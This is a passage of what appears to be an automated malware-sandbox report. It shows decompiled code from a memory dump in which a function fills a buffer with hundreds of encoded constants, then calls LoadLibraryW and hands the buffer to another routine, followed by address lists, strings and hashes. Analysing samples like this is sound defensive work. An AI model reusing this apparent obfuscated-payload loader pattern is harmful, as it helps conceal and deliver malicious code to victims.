				 *((intOrPtr*)(_t441 - 0x4a0)) = 0xea795530;
				 *((intOrPtr*)(_t441 - 0x49c)) = 0xe9d8e700;
				 *((intOrPtr*)(_t441 - 0x498)) = 0xd532f147;
				 *((intOrPtr*)(_t441 - 0x494)) = 0x3ffdd03;
				 *((intOrPtr*)(_t441 - 0x490)) = 0x32771615;
				 *((intOrPtr*)(_t441 - 0x48c)) = 0xce59f5c6;
				 *((intOrPtr*)(_t441 - 0x488)) = 0xa48bbf89;
				 *((intOrPtr*)(_t441 - 0x484)) = 0xfc7f7c88;
				 *((intOrPtr*)(_t441 - 0x480)) = 0x747b861b;
				 *((intOrPtr*)(_t441 - 0x47c)) = 0x556e714e;
				 *((intOrPtr*)(_t441 - 0x478)) = 0xc64df43f;
				 *((intOrPtr*)(_t441 - 0x474)) = 0xb5d56d35;
				 *((intOrPtr*)(_t441 - 0x470)) = 0x34f4b205;
				 *((intOrPtr*)(_t441 - 0x46c)) = 0x46ecf5fd;
				 *((intOrPtr*)(_t441 - 0x468)) = 0xec83a30;
				 *((intOrPtr*)(_t441 - 0x464)) = 0x39ec0be6;
				 *((intOrPtr*)(_t441 - 0x460)) = 0x73daf6cc;
				 *((intOrPtr*)(_t441 - 0x45c)) = 0x650c09d7;
				 *((intOrPtr*)(_t441 - 0x458)) = 0xa55b36db;
				 *((intOrPtr*)(_t441 - 0x454)) = 0xd4c5ed39;
				 *((intOrPtr*)(_t441 - 0x450)) = 0xc23b43e0;
				 *((intOrPtr*)(_t441 - 0x44c)) = 0xaa7296c8;
				 *((intOrPtr*)(_t441 - 0x448)) = 0x30e16744;
				 *((intOrPtr*)(_t441 - 0x444)) = 0x59f6bbc7;
				 *((intOrPtr*)(_t441 - 0x440)) = 0x5d1e980c;
				 *((intOrPtr*)(_t441 - 0x43c)) = 0x148c3302;
				 *((intOrPtr*)(_t441 - 0x438)) = 0x7d01d553;
				 *((intOrPtr*)(_t441 - 0x434)) = 0x2fd00b4;
				 *((intOrPtr*)(_t441 - 0x430)) = 0xc91e8228;
				 *((intOrPtr*)(_t441 - 0x42c)) = 0x8b96aadc;
				 *((intOrPtr*)(_t441 - 0x428)) = 0x6d842be5;
				 *((intOrPtr*)(_t441 - 0x424)) = 0x38dcf886;
				 *((intOrPtr*)(_t441 - 0x420)) = 0x4fb6e3ba;
				 *((intOrPtr*)(_t441 - 0x41c)) = 0xf5a78b8c;
				 *((intOrPtr*)(_t441 - 0x418)) = 0x181817bd;
				 *((intOrPtr*)(_t441 - 0x414)) = 0x2ad8dc2e;
				 *((intOrPtr*)(_t441 - 0x410)) = 0x56b7f942;
				 *((intOrPtr*)(_t441 - 0x40c)) = 0x25c2e735;
				 *((intOrPtr*)(_t441 - 0x408)) = 0x4284b5df;
				 *((intOrPtr*)(_t441 - 0x404)) = 0x2a3f0eb;
				 *((intOrPtr*)(_t441 - 0x400)) = 0x2e4ec9c6;
				 *((intOrPtr*)(_t441 - 0x3fc)) = 0x2fe478b9;
				 *((intOrPtr*)(_t441 - 0x3f8)) = 0x629fd88d;
				 *((intOrPtr*)(_t441 - 0x3f4)) = 0x1f9257a7;
				 *((intOrPtr*)(_t441 - 0x3f0)) = 0xdecf0136;
				 *((intOrPtr*)(_t441 - 0x3ec)) = 0x6a9988fb;
				 *((intOrPtr*)(_t441 - 0x3e8)) = 0x88e47ad9;
				 *((intOrPtr*)(_t441 - 0x3e4)) = 0x5fb1ef1c;
				 *((intOrPtr*)(_t441 - 0x3e0)) = 0x1e944d38;
				 *((intOrPtr*)(_t441 - 0x3dc)) = 0x9d0644ae;
				 *((intOrPtr*)(_t441 - 0x3d8)) = 0xc4d99227;
				 *((intOrPtr*)(_t441 - 0x3d4)) = 0xd96a9d5a;
				 *((intOrPtr*)(_t441 - 0x3d0)) = 0x147f5485;
				 *((intOrPtr*)(_t441 - 0x3cc)) = 0xd52820a8;
				 *((intOrPtr*)(_t441 - 0x3c8)) = 0xb62d1425;
				 *((intOrPtr*)(_t441 - 0x3c4)) = 0x668d0e0d;
				 *((intOrPtr*)(_t441 - 0x3c0)) = 0x70490096;
				 *((intOrPtr*)(_t441 - 0x3bc)) = 0xdb4659a0;
				 *((intOrPtr*)(_t441 - 0x3b8)) = 0xc9608808;
				 *((intOrPtr*)(_t441 - 0x3b4)) = 0x31192940;
				 *((intOrPtr*)(_t441 - 0x3b0)) = 0xc97b64d9;
				 *((intOrPtr*)(_t441 - 0x3ac)) = 0x36c82388;
				 *((intOrPtr*)(_t441 - 0x3a8)) = 0xa387d3a7;
				 *((intOrPtr*)(_t441 - 0x3a4)) = 0x30ab71f2;
				 *((intOrPtr*)(_t441 - 0x3a0)) = 0x81cbd4d2;
				 *((intOrPtr*)(_t441 - 0x39c)) = 0x757cf98c;
				 *((intOrPtr*)(_t441 - 0x398)) = 0xabe4a1a4;
				 *((intOrPtr*)(_t441 - 0x394)) = 0x4448a644;
				 *((intOrPtr*)(_t441 - 0x390)) = 0x79ac04a0;
				 *((intOrPtr*)(_t441 - 0x38c)) = 0x3546bc37;
				 *((intOrPtr*)(_t441 - 0x388)) = 0xf8f9e886;
				 *((intOrPtr*)(_t441 - 0x384)) = 0x95e56c0e;
				 *((intOrPtr*)(_t441 - 0x380)) = 0x7b204792;
				 *((intOrPtr*)(_t441 - 0x37c)) = 0x61d2873a;
				 *((intOrPtr*)(_t441 - 0x378)) = 0x47d2910a;
				 *((intOrPtr*)(_t441 - 0x374)) = 0x132b14f;
				 *((intOrPtr*)(_t441 - 0x370)) = 0x5c1120be;
				 *((intOrPtr*)(_t441 - 0x36c)) = 0xc732fa7f;
				 *((intOrPtr*)(_t441 - 0x368)) = 0x4f3f0754;
				 *((intOrPtr*)(_t441 - 0x364)) = 0x84ed6131;
				 *((intOrPtr*)(_t441 - 0x360)) = 0x7357ee35;
				 *((intOrPtr*)(_t441 - 0x35c)) = 0xee76964a;
				 *((intOrPtr*)(_t441 - 0x358)) = 0x8d5f7cc1;
				 *((intOrPtr*)(_t441 - 0x354)) = 0x286d6c64;
				 *((intOrPtr*)(_t441 - 0x350)) = 0x5b402a70;
				 *((intOrPtr*)(_t441 - 0x34c)) = 0x58d080a8;
				 *((intOrPtr*)(_t441 - 0x348)) = 0xe25a1201;
				 *((intOrPtr*)(_t441 - 0x344)) = 0x652bbebd;
				 *((intOrPtr*)(_t441 - 0x340)) = 0xd305a56f;
				 *((intOrPtr*)(_t441 - 0x33c)) = 0xa7b65d99;
				 *((intOrPtr*)(_t441 - 0x338)) = 0x66acb832;
				 *((intOrPtr*)(_t441 - 0x334)) = 0x165938f2;
				 *((intOrPtr*)(_t441 - 0x330)) = 0x1ecb512f;
				 *((intOrPtr*)(_t441 - 0x32c)) = 0x930810aa;
				 *((intOrPtr*)(_t441 - 0x328)) = 0x43254b54;
				 *((intOrPtr*)(_t441 - 0x324)) = 0xdf1b1c7a;
				 *((intOrPtr*)(_t441 - 0x320)) = 0x4c19c8ed;
				 *((intOrPtr*)(_t441 - 0x31c)) = 0x94b7994d;
				 *((intOrPtr*)(_t441 - 0x318)) = 0x4164ea17;
				 *((intOrPtr*)(_t441 - 0x314)) = 0x1d0bf59;
				 *((intOrPtr*)(_t441 - 0x310)) = 0xedb017b3;
				 *((intOrPtr*)(_t441 - 0x30c)) = 0x7dc8e84a;
				 *((intOrPtr*)(_t441 - 0x308)) = 0xc243ef4d;
				 *((intOrPtr*)(_t441 - 0x304)) = 0xb98517a5;
				 *((intOrPtr*)(_t441 - 0x300)) = 0x4da1f8d9;
				 *((intOrPtr*)(_t441 - 0x2fc)) = 0xac0d5549;
				 *((intOrPtr*)(_t441 - 0x2f8)) = 0x457394ca;
				 *((intOrPtr*)(_t441 - 0x2f4)) = 0x3dee73ab;
				 *((intOrPtr*)(_t441 - 0x2f0)) = 0x1cb60641;
				 *((intOrPtr*)(_t441 - 0x2ec)) = 0x73c0ce9f;
				 *((intOrPtr*)(_t441 - 0x2e8)) = 0x78f928db;
				 *((intOrPtr*)(_t441 - 0x2e4)) = 0xa085bf53;
				 *((intOrPtr*)(_t441 - 0x2e0)) = 0x29ed2789;
				 *((intOrPtr*)(_t441 - 0x2dc)) = 0x5656443b;
				 *((intOrPtr*)(_t441 - 0x2d8)) = 0x9ad7d08b;
				 *((intOrPtr*)(_t441 - 0x2d4)) = 0x712266b2;
				 *((intOrPtr*)(_t441 - 0x2d0)) = 0x5f0fa9de;
				 *((intOrPtr*)(_t441 - 0x2cc)) = 0x82f5bfd2;
				 *((intOrPtr*)(_t441 - 0x2c8)) = 0x673d9c4f;
				 *((intOrPtr*)(_t441 - 0x2c4)) = 0x740ba1a7;
				 *((intOrPtr*)(_t441 - 0x2c0)) = 0x373a1311;
				 *((intOrPtr*)(_t441 - 0x2bc)) = 0x417272e5;
				 *((intOrPtr*)(_t441 - 0x2b8)) = 0x9d0f9644;
				 *((intOrPtr*)(_t441 - 0x2b4)) = 0x6bd560d8;
				 *((intOrPtr*)(_t441 - 0x2b0)) = 0xd8e03e60;
				 *((intOrPtr*)(_t441 - 0x2ac)) = 0x7e9018aa;
				 *((intOrPtr*)(_t441 - 0x2a8)) = 0xc3363eae;
				 *((intOrPtr*)(_t441 - 0x2a4)) = 0x65638ae1;
				 *((intOrPtr*)(_t441 - 0x2a0)) = 0x341ce865;
				 *((intOrPtr*)(_t441 - 0x29c)) = 0xd26b61c7;
				 *((intOrPtr*)(_t441 - 0x298)) = 0x378194a5;
				 *((intOrPtr*)(_t441 - 0x294)) = 0xd946a510;
				 *((intOrPtr*)(_t441 - 0x290)) = 0x243a7a98;
				 *((intOrPtr*)(_t441 - 0x28c)) = 0x669eb82;
				 *((intOrPtr*)(_t441 - 0x288)) = 0x2341e9d9;
				 *((intOrPtr*)(_t441 - 0x284)) = 0x3a04aeda;
				 *((intOrPtr*)(_t441 - 0x280)) = 0xad183657;
				 *((intOrPtr*)(_t441 - 0x27c)) = 0xd9444113;
				 *((intOrPtr*)(_t441 - 0x278)) = 0x38c3ff49;
				 *((intOrPtr*)(_t441 - 0x274)) = 0x40dc1552;
				 *((intOrPtr*)(_t441 - 0x270)) = 0xcfd97b4d;
				 *((intOrPtr*)(_t441 - 0x26c)) = 0xfdc9c4fb;
				 *((intOrPtr*)(_t441 - 0x268)) = 0x5e087d4a;
				 *((intOrPtr*)(_t441 - 0x264)) = 0x59ec9ca1;
				 *((intOrPtr*)(_t441 - 0x260)) = 0x5ebbe6fa;
				 *((intOrPtr*)(_t441 - 0x25c)) = 0xb9d86287;
				 *((intOrPtr*)(_t441 - 0x258)) = 0xc5896fe0;
				 *((intOrPtr*)(_t441 - 0x254)) = 0x5593a020;
				 *((intOrPtr*)(_t441 - 0x250)) = 0xf0715a8d;
				 *((intOrPtr*)(_t441 - 0x24c)) = 0x2f41e908;
				 *((intOrPtr*)(_t441 - 0x248)) = 0x92656eeb;
				 *((intOrPtr*)(_t441 - 0x244)) = 0x2351a2be;
				 *((intOrPtr*)(_t441 - 0x240)) = 0xc4188bb2;
				 *((intOrPtr*)(_t441 - 0x23c)) = 0x6d292057;
				 *((intOrPtr*)(_t441 - 0x238)) = 0xc62c7f66;
				 *((intOrPtr*)(_t441 - 0x234)) = 0x9e7b5715;
				 *((intOrPtr*)(_t441 - 0x230)) = 0x807acea3;
				 *((intOrPtr*)(_t441 - 0x22c)) = 0xafe067b;
				 *((intOrPtr*)(_t441 - 0x228)) = 0x43ee4a69;
				 *((intOrPtr*)(_t441 - 0x224)) = 0x48ae7035;
				 *((intOrPtr*)(_t441 - 0x220)) = 0xab98a108;
				 *((intOrPtr*)(_t441 - 0x21c)) = 0xb4e8d930;
				 *((intOrPtr*)(_t441 - 0x218)) = 0x5d7a50df;
				 *((intOrPtr*)(_t441 - 0x214)) = 0xe6115588;
				 *((intOrPtr*)(_t441 - 0x210)) = 0xed8a07f0;
				 *((intOrPtr*)(_t441 - 0x20c)) = 0x503ede10;
				 *((intOrPtr*)(_t441 - 0x208)) = 0x40d4cc95;
				 *((intOrPtr*)(_t441 - 0x204)) = 0xd4b67ed1;
				 *((intOrPtr*)(_t441 - 0x200)) = 0x37f96aee;
				 *((intOrPtr*)(_t441 - 0x1fc)) = 0xa277730c;
				 *((intOrPtr*)(_t441 - 0x1f8)) = 0x336bed4b;
				 *((intOrPtr*)(_t441 - 0x1f4)) = 0xe34ada5f;
				 *((intOrPtr*)(_t441 - 0x1f0)) = 0xc3095d9b;
				 *((intOrPtr*)(_t441 - 0x1ec)) = 0xbd9bcd9f;
				 *((intOrPtr*)(_t441 - 0x1e8)) = 0x58945e90;
				 *((intOrPtr*)(_t441 - 0x1e4)) = 0x611fbd37;
				 *((intOrPtr*)(_t441 - 0x1e0)) = 0xfef46df3;
				 *((intOrPtr*)(_t441 - 0x1dc)) = 0x8f3c4182;
				 *((intOrPtr*)(_t441 - 0x1d8)) = 0x197a475c;
				 *((intOrPtr*)(_t441 - 0x1d4)) = 0x7767e10c;
				 *((intOrPtr*)(_t441 - 0x1d0)) = 0x72444e41;
				 *((intOrPtr*)(_t441 - 0x1cc)) = 0x47ee7636;
				 *((intOrPtr*)(_t441 - 0x1c8)) = 0xa478bb23;
				 *((intOrPtr*)(_t441 - 0x1c4)) = 0xd0e03d8b;
				 *((intOrPtr*)(_t441 - 0x1c0)) = 0x46b0febf;
				 *((intOrPtr*)(_t441 - 0x1bc)) = 0xbe9b27fb;
				 *((intOrPtr*)(_t441 - 0x1b8)) = 0xb2b0cd15;
				 *((intOrPtr*)(_t441 - 0x1b4)) = 0x3aed5821;
				 *((intOrPtr*)(_t441 - 0x1b0)) = 0x9e7b88f4;
				 *((intOrPtr*)(_t441 - 0x1ac)) = 0xe7f3d3f5;
				 *((intOrPtr*)(_t441 - 0x1a8)) = 0x5eaa0c60;
				 *((intOrPtr*)(_t441 - 0x1a4)) = 0x46faf790;
				 *((intOrPtr*)(_t441 - 0x1a0)) = 0xb53a1827;
				 *((intOrPtr*)(_t441 - 0x19c)) = 0x18a734b2;
				 *((intOrPtr*)(_t441 - 0x198)) = 0x3cb859ae;
				 *((intOrPtr*)(_t441 - 0x194)) = 0x2610448a;
				 *((intOrPtr*)(_t441 - 0x190)) = 0x98991077;
				 *((intOrPtr*)(_t441 - 0x18c)) = 0x841a0d00;
				 *((intOrPtr*)(_t441 - 0x188)) = 0x4e037ade;
				 *((intOrPtr*)(_t441 - 0x184)) = 0xddf9db21;
				 *((intOrPtr*)(_t441 - 0x180)) = 0x14af2e1e;
				 *((intOrPtr*)(_t441 - 0x17c)) = 0x1a7dd804;
				 *((intOrPtr*)(_t441 - 0x178)) = 0xedacd066;
				 *((intOrPtr*)(_t441 - 0x174)) = 0xac875451;
				 *((intOrPtr*)(_t441 - 0x170)) = 0x44ef4ace;
				 *((intOrPtr*)(_t441 - 0x16c)) = 0x475f1ccd;
				 *((intOrPtr*)(_t441 - 0x168)) = 0xa19afa6e;
				 *((intOrPtr*)(_t441 - 0x164)) = 0xea7e01c6;
				 *((intOrPtr*)(_t441 - 0x160)) = 0x53b2e8a7;
				 *((intOrPtr*)(_t441 - 0x15c)) = 0xde5b196a;
				 *((intOrPtr*)(_t441 - 0x158)) = 0xfca044c2;
				 *((intOrPtr*)(_t441 - 0x154)) = 0xf0b93137;
				 *((intOrPtr*)(_t441 - 0x150)) = 0xf83bb634;
				 *((intOrPtr*)(_t441 - 0x14c)) = 0x774efce;
				 *((intOrPtr*)(_t441 - 0x148)) = 0xe816fa75;
				 *((intOrPtr*)(_t441 - 0x144)) = 0xefd79a3d;
				 *((intOrPtr*)(_t441 - 0x140)) = 0xc5feab3d;
				 *((intOrPtr*)(_t441 - 0x13c)) = 0x1cbe874c;
				 *((intOrPtr*)(_t441 - 0x138)) = 0x556e34cd;
				 *((intOrPtr*)(_t441 - 0x134)) = 0x4b99c924;
				 *((intOrPtr*)(_t441 - 0x130)) = 0x7e2c3c7e;
				 *((intOrPtr*)(_t441 - 0x12c)) = 0xc83e3141;
				 *((intOrPtr*)(_t441 - 0x128)) = 0x61a13cdb;
				 *((intOrPtr*)(_t441 - 0x124)) = 0xbea71228;
				 *((intOrPtr*)(_t441 - 0x120)) = 0x5ae02b8e;
				 *((intOrPtr*)(_t441 - 0x11c)) = 0x14c96d13;
				 *((intOrPtr*)(_t441 - 0x118)) = 0x953bc43b;
				 *((intOrPtr*)(_t441 - 0x114)) = 0x3b79e650;
				 *((intOrPtr*)(_t441 - 0x110)) = 0xbb3160e9;
				 *((intOrPtr*)(_t441 - 0x10c)) = 0x1e08f3b3;
				 *((intOrPtr*)(_t441 - 0x108)) = 0x6c47cea2;
				 *((intOrPtr*)(_t441 - 0x104)) = 0x4cd2aaba;
				 *((intOrPtr*)(_t441 - 0x100)) = 0x3edc34e8;
				 *((intOrPtr*)(_t441 - 0xfc)) = 0xb35598cb;
				 *((intOrPtr*)(_t441 - 0xf8)) = 0xde898aa;
				 *((intOrPtr*)(_t441 - 0xf4)) = 0xff499b27;
				 *((intOrPtr*)(_t441 - 0xf0)) = 0xf56b4ea6;
				 *((intOrPtr*)(_t441 - 0xec)) = 0x9fd99e0f;
				 *((intOrPtr*)(_t441 - 0xe8)) = 0x85510475;
				 *((intOrPtr*)(_t441 - 0xe4)) = 0x529cfc96;
				 *((intOrPtr*)(_t441 - 0xe0)) = 0x5c803e81;
				 *((intOrPtr*)(_t441 - 0xdc)) = 0x7be8dfdb;
				 *((intOrPtr*)(_t441 - 0xd8)) = 0x10cefeee;
				 *((intOrPtr*)(_t441 - 0xd4)) = 0xe07b5cec;
				 *((intOrPtr*)(_t441 - 0xd0)) = 0xe963df59;
				 *((intOrPtr*)(_t441 - 0xcc)) = 0x549915a0;
				 *((intOrPtr*)(_t441 - 0xc8)) = 0x167afa2f;
				 *((intOrPtr*)(_t441 - 0xc4)) = 0x31f36a4;
				 *((intOrPtr*)(_t441 - 0xc0)) = 0x554dd6ff;
				 *((intOrPtr*)(_t441 - 0xbc)) = 0x364bf670;
				 *((intOrPtr*)(_t441 - 0xb8)) = 0xbd7ac96d;
				 *((intOrPtr*)(_t441 - 0xb4)) = 0x40df9ae4;
				 *((intOrPtr*)(_t441 - 0xb0)) = 0xfbd29e91;
				 *((intOrPtr*)(_t441 - 0xac)) = 0x34d242c8;
				 *((intOrPtr*)(_t441 - 0xa8)) = 0x221b5e15;
				 *((intOrPtr*)(_t441 - 0xa4)) = 0x584f4138;
				 *((intOrPtr*)(_t441 - 0xa0)) = 0xd3da40ea;
				 *((intOrPtr*)(_t441 - 0x9c)) = 0xfdb2a0a3;
				 *((intOrPtr*)(_t441 - 0x98)) = 0xe7e1c994;
				 *((intOrPtr*)(_t441 - 0x94)) = 0xef912419;
				 *((intOrPtr*)(_t441 - 0x90)) = 0xe26be229;
				 *((intOrPtr*)(_t441 - 0x8c)) = 0x5b173771;
				 *((intOrPtr*)(_t441 - 0x88)) = 0xe1b5b166;
				 *((intOrPtr*)(_t441 - 0x84)) = 0xc854bb1d;
				 *((intOrPtr*)(_t441 - 0x80)) = 0xab3c32d3;
				 *((intOrPtr*)(_t441 - 0x7c)) = 0xa539921e;
				 *((intOrPtr*)(_t441 - 0x78)) = 0x31ddfb72;
				 *((intOrPtr*)(_t441 - 0x74)) = 0x2574e026;
				 *((intOrPtr*)(_t441 - 0x70)) = 0xe9907fdc;
				 *((intOrPtr*)(_t441 - 0x6c)) = 0x82f21263;
				 *((intOrPtr*)(_t441 - 0x68)) = 0x151a661f;
				 *((intOrPtr*)(_t441 - 0x64)) = 0x9770157e;
				 *((intOrPtr*)(_t441 - 0x60)) = 0x6cdbd348;
				 *((intOrPtr*)(_t441 - 0x5c)) = 0x85ccdc27;
				 *((intOrPtr*)(_t441 - 0x58)) = 0x5294165a;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t441 - 0x54)) = 0x3b11416e;
				 *((intOrPtr*)(_t441 - 0x50)) = 0xe8ef845f;
				 *((intOrPtr*)(_t441 - 0x4c)) = 0x552aa571;
				 *((intOrPtr*)(_t441 - 0x48)) = 0xecffd9cd;
				 *((intOrPtr*)(_t441 - 0x44)) = 0x1d62b09d;
				 *((intOrPtr*)(_t441 - 0x40)) = 0x82654e0b;
				 *((intOrPtr*)(_t441 - 0x3c)) = 0x849737f7;
				 *((intOrPtr*)(_t441 - 0x38)) = 0xcc39b929;
				 *((intOrPtr*)(_t441 - 0x34)) = 0x3ced6e6a;
				 *((intOrPtr*)(_t441 - 0x30)) = 0x120ff926;
				 *((intOrPtr*)(_t441 - 0x2c)) = 0x4d2150b4;
				 *((intOrPtr*)(_t441 - 0x28)) = 0x88f6cd53;
				 *((intOrPtr*)(_t441 - 0x24)) = 0x8d3094b8;
				 *((intOrPtr*)(_t441 - 0x20)) = 0xc39d29a6;
				 *((intOrPtr*)(_t441 - 0x1c)) = 0xdba56365;
				 *((intOrPtr*)(_t441 - 0x18)) = 0x90071a83;
				 *((intOrPtr*)(_t441 - 0x14)) = 0xb48cfda0;
				 *((intOrPtr*)(_t441 - 0x10)) = 0x20950034;
				 *((intOrPtr*)(_t441 - 0xc)) = 0x37a8b303;
				 *((intOrPtr*)(_t441 - 8)) = 0x8b758a77;
				 *((intOrPtr*)(_t441 - 4)) = 0xa44f24cd;
				_t439 = L00311D10(0x320f20, 0x1a8, __edi, __esi);
				 *0x324c88 = LoadLibraryW(_t427);
				L00311DB0(_t439);
				return E00311570(_t431,  *0x324c88, _t441 - 0x6a4, _t439, 0x1a9, 0x71cd072d, 0x3226b0);
			}

0x00316e3a
0x00316e3a
0x00316e44
0x00316e4e
0x00316e58
0x00316e62
0x00316e6c
0x00316e76
0x00316e80
0x00316e8a
0x00316e94
0x00316e9e
0x00316ea8
0x00316eb2
0x00316ebc
0x00316ec6
0x00316ed0
0x00316eda
0x00316ee4
0x00316eee
0x00316ef8
0x00316f02
0x00316f0c
0x00316f16
0x00316f20
0x00316f2a
0x00316f34
0x00316f3e
0x00316f48
0x00316f52
0x00316f5c
0x00316f66
0x00316f70
0x00316f7a
0x00316f84
0x00316f8e
0x00316f98
0x00316fa2
0x00316fac
0x00316fb6
0x00316fc0
0x00316fca
0x00316fd4
0x00316fde
0x00316fe8
0x00316ff2
0x00316ffc
0x00317006
0x00317010
0x0031701a
0x00317024
0x0031702e
0x00317038
0x00317042
0x0031704c
0x00317056
0x00317060
0x0031706a
0x00317074
0x0031707e
0x00317088
0x00317092
0x0031709c
0x003170a6
0x003170b0
0x003170ba
0x003170c4
0x003170ce
0x003170d8
0x003170e2
0x003170ec
0x003170f6
0x00317100
0x0031710a
0x00317114
0x0031711e
0x00317128
0x00317132
0x0031713c
0x00317146
0x00317150
0x0031715a
0x00317164
0x0031716e
0x00317178
0x00317182
0x0031718c
0x00317196
0x003171a0
0x003171aa
0x003171b4
0x003171be
0x003171c8
0x003171d2
0x003171dc
0x003171e6
0x003171f0
0x003171fa
0x00317204
0x0031720e
0x00317218
0x00317222
0x0031722c
0x00317236
0x00317240
0x0031724a
0x00317254
0x0031725e
0x00317268
0x00317272
0x0031727c
0x00317286
0x00317290
0x0031729a
0x003172a4
0x003172ae
0x003172b8
0x003172c2
0x003172cc
0x003172d6
0x003172e0
0x003172ea
0x003172f4
0x003172fe
0x00317308
0x00317312
0x0031731c
0x00317326
0x00317330
0x0031733a
0x00317344
0x0031734e
0x00317358
0x00317362
0x0031736c
0x00317376
0x00317380
0x0031738a
0x00317394
0x0031739e
0x003173a8
0x003173b2
0x003173bc
0x003173c6
0x003173d0
0x003173da
0x003173e4
0x003173ee
0x003173f8
0x00317402
0x0031740c
0x00317416
0x00317420
0x0031742a
0x00317434
0x0031743e
0x00317448
0x00317452
0x0031745c
0x00317466
0x00317470
0x0031747a
0x00317484
0x0031748e
0x00317498
0x003174a2
0x003174ac
0x003174b6
0x003174c0
0x003174ca
0x003174d4
0x003174de
0x003174e8
0x003174f2
0x003174fc
0x00317506
0x00317510
0x0031751a
0x00317524
0x0031752e
0x00317538
0x00317542
0x0031754c
0x00317556
0x00317560
0x0031756a
0x00317574
0x0031757e
0x00317588
0x00317592
0x0031759c
0x003175a6
0x003175b0
0x003175ba
0x003175c4
0x003175ce
0x003175d8
0x003175e2
0x003175ec
0x003175f6
0x00317600
0x0031760a
0x00317614
0x0031761e
0x00317628
0x00317632
0x0031763c
0x00317646
0x00317650
0x0031765a
0x00317664
0x0031766e
0x00317678
0x00317682
0x0031768c
0x00317696
0x003176a0
0x003176aa
0x003176b4
0x003176be
0x003176c8
0x003176d2
0x003176dc
0x003176e6
0x003176f0
0x003176fa
0x00317704
0x0031770e
0x00317718
0x00317722
0x0031772c
0x00317736
0x00317740
0x0031774a
0x00317754
0x0031775e
0x00317768
0x00317772
0x0031777c
0x00317786
0x00317790
0x0031779a
0x003177a4
0x003177ae
0x003177b8
0x003177c2
0x003177cc
0x003177d6
0x003177e0
0x003177ea
0x003177f4
0x003177fe
0x00317808
0x00317812
0x0031781c
0x00317826
0x00317830
0x0031783a
0x00317844
0x0031784e
0x00317858
0x00317862
0x0031786c
0x00317876
0x00317880
0x0031788a
0x00317894
0x0031789e
0x003178a8
0x003178b2
0x003178bc
0x003178c6
0x003178d0
0x003178da
0x003178e4
0x003178ee
0x003178f8
0x00317902
0x0031790c
0x00317916
0x00317920
0x0031792a
0x00317934
0x0031793e
0x00317948
0x00317952
0x0031795c
0x00317966
0x00317970
0x0031797a
0x00317984
0x0031798e
0x00317998
0x003179a2
0x003179ac
0x003179b6
0x003179c0
0x003179ca
0x003179d4
0x003179de
0x003179e8
0x003179f2
0x003179fc
0x00317a06
0x00317a10
0x00317a1a
0x00317a24
0x00317a2e
0x00317a38
0x00317a42
0x00317a4c
0x00317a56
0x00317a60
0x00317a6a
0x00317a74
0x00317a7e
0x00317a88
0x00317a92
0x00317a9c
0x00317aa6
0x00317ab0
0x00317aba
0x00317ac4
0x00317ace
0x00317ad8
0x00317ae2
0x00317aec
0x00317af6
0x00317b00
0x00317b0a
0x00317b14
0x00317b1e
0x00317b28
0x00317b32
0x00317b3c
0x00317b46
0x00317b50
0x00317b5a
0x00317b64
0x00317b6e
0x00317b78
0x00317b82
0x00317b8c
0x00317b96
0x00317ba0
0x00317baa
0x00317bb4
0x00317bbe
0x00317bc8
0x00317bd2
0x00317bdc
0x00317be6
0x00317bf0
0x00317bfa
0x00317c04
0x00317c0e
0x00317c18
0x00317c22
0x00317c2c
0x00317c36
0x00317c40
0x00317c4a
0x00317c54
0x00317c5e
0x00317c68
0x00317c72
0x00317c7c
0x00317c86
0x00317c90
0x00317c9a
0x00317ca4
0x00317cae
0x00317cb8
0x00317cc2
0x00317ccc
0x00317cd6
0x00317ce0
0x00317cea
0x00317cf4
0x00317cfe
0x00317d08
0x00317d12
0x00317d1c
0x00317d26
0x00317d30
0x00317d3a
0x00317d44
0x00317d4e
0x00317d58
0x00317d62
0x00317d6c
0x00317d76
0x00317d80
0x00317d8a
0x00317d94
0x00317d9b
0x00317da2
0x00317da9
0x00317db0
0x00317db7
0x00317dbe
0x00317dc5
0x00317dcc
0x00317dd3
0x00317dda
0x00317de1
0x00317deb
0x00317df7
0x00317dfe
0x00317e05
0x00317e0c
0x00317e13
0x00317e1a
0x00317e21
0x00317e28
0x00317e2f
0x00317e36
0x00317e3d
0x00317e44
0x00317e4b
0x00317e52
0x00317e59
0x00317e60
0x00317e67
0x00317e6e
0x00317e75
0x00317e7c
0x00317e8b
0x00317e96
0x00317e9b
0x00317ec7

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00317E8E

Strings

!X:, xrefs: 00317A92
Py;, xrefs: 00317C22
4, xrefs: 00317E67
rrA, xrefs: 003177FE
W )m, xrefs: 0031793E
)k, xrefs: 00317D6C
Dg0, xrefs: 00317420
WC-, xrefs: 00317128
TK%C, xrefs: 003176F0
0Uy, xrefs: 00317344
iJC, xrefs: 00317970
Kk3, xrefs: 003179E8
6vG, xrefs: 00317A56
~<,~, xrefs: 00317BDC
NqnU, xrefs: 0031739E
&t%, xrefs: 00317DA9
$"Ir, xrefs: 00316E8A
p*@[, xrefs: 0031768C
ANDr, xrefs: 00317A4C
;DVV, xrefs: 003177AE
~z, xrefs: 00317308
6k-, xrefs: 00317240
dlm(, xrefs: 00317682
\{, xrefs: 00317CC2
8AOX, xrefs: 00317D3A
5Ws, xrefs: 00317664
jn<, xrefs: 00317E28

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: !X:$$"Ir$&t%$)k$0Uy$4$5Ws$6k-$6vG$8AOX$;DVV$ANDr$Dg0$Kk3$NqnU$Py;$TK%C$W )m$WC-$dlm($iJC$jn<$p*@[$~<,~$~z$\{$rrA
API String ID: 1029625771-1061294748
Opcode ID: 02000a27a7c30cfd822ed5b0cc237c07aee13ebadd59557c4c245f46f3592fca
Instruction ID: 38ac5f5e37dd444f38f034478baa243da160c7b3b22f2608a33452b6b569c1db
Opcode Fuzzy Hash: 02000a27a7c30cfd822ed5b0cc237c07aee13ebadd59557c4c245f46f3592fca
Instruction Fuzzy Hash: DB72B6F48567698FDB618F429E857CEBA75BB51304F6086C8C19D3B214CB714B82CF8A

Uniqueness

Uniqueness Score: 100.00%

Function 00317EDA, Relevance: 44.2, APIs: 1, Strings: 24, Instructions: 465
libraryUNIQUE

C-Code - Quality: 99%

			E00317EDA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t449;
				void* _t459;

				_t449 = __ebx;
